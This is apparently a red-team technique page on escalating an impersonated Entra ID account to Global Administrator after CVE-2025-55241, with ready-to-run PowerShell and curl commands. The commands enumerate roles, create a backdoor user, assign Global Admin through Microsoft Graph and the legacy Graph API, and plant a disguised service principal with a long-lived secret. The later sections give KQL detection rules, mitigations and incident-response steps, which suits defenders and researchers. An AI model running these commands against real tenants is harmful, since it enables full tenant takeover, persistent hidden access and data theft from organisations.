| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-008 |
| MITRE ATT&CK v18.1 | T1098 - Account Manipulation |
| Sub-Technique | T1098.003 - Additional Cloud Roles |
| Tactic | Persistence, Privilege Escalation |
| Platforms | Entra ID, Microsoft 365, Azure |
| Severity | Critical |
| CVE | CVE-2025-55241 |
| Technique Status | FIXED |
| Last Verified | 2025-09-30 |
| Affected Versions | All Entra ID versions prior to September 2025 patch |
| Patched In | September 2025 (legacy Graph API removal; token validation hardening) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Once an attacker has impersonated a user in a victim Entra ID tenant using CVE-2025-55241 (REALWORLD-005 through REALWORLD-007), the final step is escalating that impersonated account to Global Administrator status. Global Administrator is the highest privilege in Entra ID, granting unrestricted access to all Azure AD/Entra ID configuration, all Microsoft 365 tenants, and all connected Azure subscriptions. Using the same actor token that enabled impersonation, the attacker modifies the target account’s role assignments to add Global Administrator, transforming a compromised user account into a tenant owner-equivalent account. This escalation is irreversible without global audit log access and credential rotation, making it a persistence mechanism that survives password resets, conditional access policy changes, and even Azure AD Connect credential updates.
Attack Surface: The role assignment APIs in both legacy Azure AD Graph API (graph.windows.net) and modern Microsoft Graph, combined with insufficient role-based access control (RBAC) on role modification operations. Any account with directory write permissions can modify other accounts’ role assignments.
Business Impact: Unrestricted tenant takeover. Global Administrator has permissions to: modify all conditional access policies (disabling security controls), reset other admin passwords, create backdoor service principals with permanent access, grant themselves Azure subscription Owner role, modify Office 365 settings (create mail rules, delegate access, etc.), reset audit log retention policies, and modify or delete audit logs. A single compromised Global Admin account is equivalent to complete tenant compromise.
Technical Context: Escalation typically takes 2-3 minutes once impersonation is achieved. The escalation operation may generate an AuditLog entry (Add member to role) but will appear as a legitimate administrative action if the impersonating account already appears to have some organizational access.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | AC-2.1 | Role-based access control failure - excessive privilege escalation |
| CIS Benchmark | AC-5.1 | Privilege escalation not prevented or detected |
| DISA STIG | AC-2.2 | Least privilege enforcement failure |
| CISA SCuBA | Entra ID - 1.3 | Global Administrator role access not properly restricted |
| NIST 800-53 | AC-3 | Access enforcement failure - privilege escalation allowed |
| NIST 800-53 | AC-6 | Least privilege violation |
| GDPR | Art. 32 | Security of processing - privilege management failure |
| DORA | Art. 16 | Governance and compliance failure - admin access not monitored |
| NIS2 | Art. 23 | Incident response and reporting - compromise detection failure |
| ISO 27001 | A.9.1.1 | Access control policy failure |
| ISO 27005 | Risk ID-8 | Privilege escalation scenario |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Install-Module Microsoft.Graph)# Connect with impersonated account's token
$Token = "eyJ0eXAiOiJKV1QiLCJhbGc..."
$Headers = @{
"Authorization" = "Bearer $Token"
"Content-Type" = "application/json"
}
# Query Global Administrator role
$RoleUrl = "https://graph.microsoft.com/v1.0/directoryRoles?filter=displayName eq 'Global Administrator'"
$RoleResponse = Invoke-RestMethod -Uri $RoleUrl -Headers $Headers
$GlobalAdminRoleId = $RoleResponse.value[0].id
# Get current Global Admin members
$MembersUrl = "https://graph.microsoft.com/v1.0/directoryRoles/$GlobalAdminRoleId/members"
$Members = Invoke-RestMethod -Uri $MembersUrl -Headers $Headers
Write-Host "Current Global Administrators:"
$Members.value | ForEach-Object { Write-Host $_.userPrincipalName }
What to Look For:
# Query current impersonated account's roles
$UserId = "current-impersonated-user-id"
$RolesUrl = "https://graph.microsoft.com/v1.0/users/$UserId/memberOf?$filter=IsAssignedRole eq true"
$UserRoles = Invoke-RestMethod -Uri $RolesUrl -Headers $Headers
Write-Host "Current Roles for Impersonated Account:"
$UserRoles.value | ForEach-Object { Write-Host $_.displayName }
Supported Versions: All Entra ID versions (modern API not affected by CVE-2025-55241 token impersonation, but vulnerable to privilege escalation via impersonated account)
Objective: Determine which account to escalate to Global Admin (usually the impersonated account itself or a newly created backdoor account).
Command (Enumerate Users):
$Token = "eyJ0eXAiOiJKV1QiLCJhbGc..."
$Headers = @{
"Authorization" = "Bearer $Token"
"Content-Type" = "application/json"
}
# Option A: Escalate current impersonated account
$CurrentAccountUrl = "https://graph.microsoft.com/v1.0/me"
$CurrentAccount = Invoke-RestMethod -Uri $CurrentAccountUrl -Headers $Headers
$TargetUserId = $CurrentAccount.id
Write-Host "Will escalate to Global Admin: $($CurrentAccount.userPrincipalName)"
# Option B: Create new backdoor account for persistence
$NewUserPayload = @{
accountEnabled = $true
displayName = "Cloud Integration Service"
mailNickname = "cloudintegration"
userPrincipalName = "cloudintegration@contoso.onmicrosoft.com"
passwordProfile = @{
forceChangePasswordNextSignIn = $false
password = "GenerateRandomComplex123!@#"
}
} | ConvertTo-Json
$CreateUserUrl = "https://graph.microsoft.com/v1.0/users"
$NewUser = Invoke-RestMethod -Uri $CreateUserUrl -Method POST -Headers $Headers -Body $NewUserPayload
$TargetUserId = $NewUser.id
Write-Host "Created backdoor account: $($NewUser.userPrincipalName)"
Expected Output:
Will escalate to Global Admin: victim-user@contoso.onmicrosoft.com
What This Means:
Objective: Retrieve the object ID of the Global Administrator role for use in role assignment.
Command (Role Enumeration):
# Query all directory roles to find Global Administrator
$RolesUrl = "https://graph.microsoft.com/v1.0/directoryRoles"
$AllRoles = Invoke-RestMethod -Uri $RolesUrl -Headers $Headers
$GlobalAdminRole = $AllRoles.value | Where-Object { $_.displayName -eq "Global Administrator" }
$GlobalAdminRoleId = $GlobalAdminRole.id
Write-Host "Global Administrator Role ID: $GlobalAdminRoleId"
Expected Output:
Global Administrator Role ID: d2de1e9a-b6c3-4373-b2c7-2b8f9d0e6b8c
What This Means:
Objective: Assign the target account to the Global Administrator role, granting unrestricted tenant access.
Command (Role Assignment - Privilege Escalation):
# Add user to Global Administrator role
$GlobalAdminRoleId = "d2de1e9a-b6c3-4373-b2c7-2b8f9d0e6b8c"
$TargetUserId = "550e8400-e29b-41d4-a716-446655440001"
$AssignmentPayload = @{
"@odata.type" = "#microsoft.graph.directoryObject"
id = $TargetUserId
} | ConvertTo-Json
$AssignmentUrl = "https://graph.microsoft.com/v1.0/directoryRoles/$GlobalAdminRoleId/members/\$ref"
$Assignment = Invoke-RestMethod -Uri $AssignmentUrl -Method POST -Headers $Headers -Body $AssignmentPayload
Write-Host "✓ Successfully escalated account to Global Administrator"
Expected Output:
✓ Successfully escalated account to Global Administrator
What This Means:
OpSec & Evasion:
Troubleshooting:
Authorization_RequestDenied
Invalid roleObjectId
References & Proofs:
Objective: Confirm that the account now has Global Administrator privileges.
Command (Verify):
# Query the user's roles after escalation
$UserId = "550e8400-e29b-41d4-a716-446655440001"
$UserRolesUrl = "https://graph.microsoft.com/v1.0/users/$UserId/memberOf?filter=IsAssignedRole eq true"
$UserRoles = Invoke-RestMethod -Uri $UserRolesUrl -Headers $Headers
$UserRoles.value | ForEach-Object {
if ($_.displayName -eq "Global Administrator") {
Write-Host "✓ CONFIRMED: Account is now Global Administrator"
}
}
Supported Versions: All Entra ID versions prior to September 2025 (legacy API deprecated but vulnerability existed)
# Query roles via legacy endpoint
curl -X GET \
-H "Authorization: Bearer $ACTOR_TOKEN" \
"https://graph.windows.net/tenant-id/directoryRoles?api-version=1.6&\$filter=displayName eq 'Global Administrator'" | jq
# Add user to Global Administrator role
ROLE_ID="role-object-id"
USER_ID="target-user-object-id"
curl -X POST \
-H "Authorization: Bearer $ACTOR_TOKEN" \
-H "Content-Type: application/json" \
"https://graph.windows.net/tenant-id/directoryRoles/$ROLE_ID/members?api-version=1.6" \
-d '{"url": "https://graph.windows.net/tenant-id/users/'$USER_ID'"}'
Objective: Once Global Admin, create a service principal with permanent credentials for continued access.
Command (Service Principal Backdoor):
# As Global Admin, create application and service principal for persistence
$AppPayload = @{
displayName = "Microsoft Security Compliance Service" # Innocuous name
signInAudience = "AzureADMultipleOrgs"
} | ConvertTo-Json
$AppUrl = "https://graph.microsoft.com/v1.0/applications"
$App = Invoke-RestMethod -Uri $AppUrl -Method POST -Headers $Headers -Body $AppPayload
$AppId = $App.appId
# Create service principal for the application
$SPPayload = @{
appId = $AppId
displayName = "Microsoft Security Compliance Service"
} | ConvertTo-Json
$SPUrl = "https://graph.microsoft.com/v1.0/servicePrincipals"
$SP = Invoke-RestMethod -Uri $SPUrl -Method POST -Headers $Headers -Body $SPPayload
# Add password credential (permanent key)
$CredentialPayload = @{
displayName = "Service Account Key"
endDateTime = (Get-Date).AddYears(2)
} | ConvertTo-Json
$CredUrl = "https://graph.microsoft.com/v1.0/applications/$($App.id)/addPassword"
$Credential = Invoke-RestMethod -Uri $CredUrl -Method POST -Headers $Headers -Body $CredentialPayload
Write-Host "Backdoor Service Principal Created:"
Write-Host "App ID: $AppId"
Write-Host "Secret: $($Credential.secretText)"
Write-Host "Valid for 2 years (survives password resets)"
# Assign Global Administrator role to service principal
$AssignPayload = @{
"@odata.type" = "#microsoft.graph.directoryObject"
id = $SP.id
} | ConvertTo-Json
$AssignUrl = "https://graph.microsoft.com/v1.0/directoryRoles/d2de1e9a-b6c3-4373-b2c7-2b8f9d0e6b8c/members/\$ref"
Invoke-RestMethod -Uri $AssignUrl -Method POST -Headers $Headers -Body $AssignPayload
Write-Host "Service Principal assigned Global Administrator role"
What This Means:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Discovery | Network/Tenant enumeration | Identify target tenant and admin accounts |
| 2 | Reconnaissance | [REC-CLOUD-002] Enumeration | Enumerate tenants and guest users |
| 3 | Credential Access | [REALWORLD-006] Token extraction | Extract actor tokens from AD Connect or services |
| 4 | Defense Evasion | [REALWORLD-005] Token impersonation | Impersonate legitimate user using actor token |
| 5 | Lateral Movement | [REALWORLD-007] Token replay | Replay tokens across tenant boundaries |
| 6 | Current Step | [REALWORLD-008] | Escalate impersonated account to Global Admin |
| 7 | Persistence | Create backdoor service principal | Ensure continued access independent of audit log cleanup |
| 8 | Impact | Disable audit logs; ransomware/exfil | Attacker now owns tenant completely |
Cloud (Entra ID):
Post-Compromise Artifacts:
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Add member to role"
| where parse_json(TargetResources)[0].displayName == "Global Administrator"
| extend InitiatingActor = tostring(parse_json(InitiatedBy.user).userPrincipalName)
| extend EscalatedUser = tostring(parse_json(TargetResources)[0].userPrincipalName)
| project TimeGenerated, InitiatingActor, EscalatedUser, OperationName
| where InitiatingActor != "admin@microsoft.com" // Exclude Microsoft service accounts
| join kind=leftouter (
SigninLogs
| where ResultType == 0
| project LastSigninTime = TimeGenerated, UserPrincipalName
) on $left.InitiatingActor == $right.UserPrincipalName
| where isempty(LastSigninTime) or (TimeGenerated - LastSigninTime) > 1h // Role change without recent sign-in
What This Detects:
Rule Configuration:
KQL Query:
// Detect service principal creation followed by Global Admin role assignment
let SPCreation =
AuditLogs
| where OperationName == "Create service principal"
| extend CreationTime = TimeGenerated, CreatedSPId = parse_json(TargetResources)[0].id;
let RoleAssignment =
AuditLogs
| where OperationName == "Add member to role"
| where parse_json(TargetResources)[0].displayName == "Global Administrator"
| extend AssignmentTime = TimeGenerated, AssignedId = parse_json(TargetResources)[0].id;
SPCreation
| join kind=inner RoleAssignment on $left.CreatedSPId == $right.AssignedId
| where (AssignmentTime - CreationTime) between (0m .. 10m) // Role assigned within 10 min of creation
| project CreationTime, AssignmentTime, ServicePrincipalName = parse_json(TargetResources)[0].displayName
Event ID: 4662 (Audit Directory Service Changes)
TargetDN contains "CN=Global Administrator"Manual Configuration:
# Enable Directory Service audit logging (on-premises)
auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
Implement Privileged Identity Management (PIM) to require approval for Global Admin assignments.
Manual Steps (Azure Portal):
Validation Command:
# Verify PIM is enabled for Global Administrator role
Connect-AzureAD
Get-AzureADDirectoryRoleSetting | Where-Object DisplayName -eq "Global Administrator"
Enable Azure AD Identity Protection and alert on all role modifications.
Manual Steps (Azure Portal):
Global Admin Role Modification AlertOperationName == "Add member to role" AND DisplayName == "Global Administrator"Limit which accounts can modify Global Admin role assignments.
Manual Steps (PowerShell):
# Create custom role with restricted permissions (cannot modify Global Admin)
$RoleTemplate = @{
displayName = "Restricted User Administrator"
description = "Can manage users but cannot assign Global Admin"
templateId = "fe930be7-5e62-47db-91af-98c3a49a38b1" # User Administrator template
permissions = @(
@{
allowedResourceActions = @(
"microsoft.directory/users/basic/update",
"microsoft.directory/users/delete",
"microsoft.directory/users/create"
# NOTE: Intentionally exclude "microsoft.directory/roleAssignments/create"
)
}
)
}
New-AzureADMSRoleDefinition -RoleDefinition $RoleTemplate
Enforce phishing-resistant MFA (FIDO2, Windows Hello) for all Global Admins.
Manual Steps (Azure Portal):
Suspicious Role Escalations:
Backdoor Service Principal Indicators:
Step 1: Revoke Escalated Account’s Sessions
# If escalated account is human-originated:
Revoke-MgUserSignInSession -UserId "escalated-account-id"
# If service principal backdoor:
Remove-MgServicePrincipalPasswordCredential -ServicePrincipalId "backdoor-sp-id" -PasswordCredentialId "credential-id"
Step 2: Remove from Global Administrator Role
# Remove from Global Admin role
$GlobalAdminRoleId = "d2de1e9a-b6c3-4373-b2c7-2b8f9d0e6b8c"
$AccountId = "escalated-account-id"
Remove-MgDirectoryRoleMemberByRef -DirectoryRoleId $GlobalAdminRoleId -DirectoryObjectId $AccountId
Step 3: Investigate Audit Logs for Changes Made
# Query what changes were made by escalated Global Admin
Search-UnifiedAuditLog -UserId "escalated-account-upn" -StartDate (Get-Date).AddHours(-24) |
Select-Object TimeStamp, Operations, ResultStatus | Export-Csv "C:\Evidence\AdminActivity.csv"
Step 4: Restore Conditional Access Policies and Audit Settings
# Check if audit logging was disabled
$AuditConfig = Get-AdminAuditLogConfig
Write-Host "Audit Logging Enabled: $($AuditConfig.UnifiedAuditLogIngestionEnabled)"
# If disabled, enable immediately
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $true
# Verify all CA policies are still active
Get-MgIdentityConditionalAccessPolicy | Select-Object DisplayName, State
Privilege escalation to Global Administrator is the final step in the CVE-2025-55241 attack chain. Once attacker achieves this level, the tenant is fully compromised and recovery is extremely difficult.
Critical mitigations:
The absence of Global Administrator credentials on regular administrator workstations and the requirement for multi-factor authentication are the strongest defenses against this attack.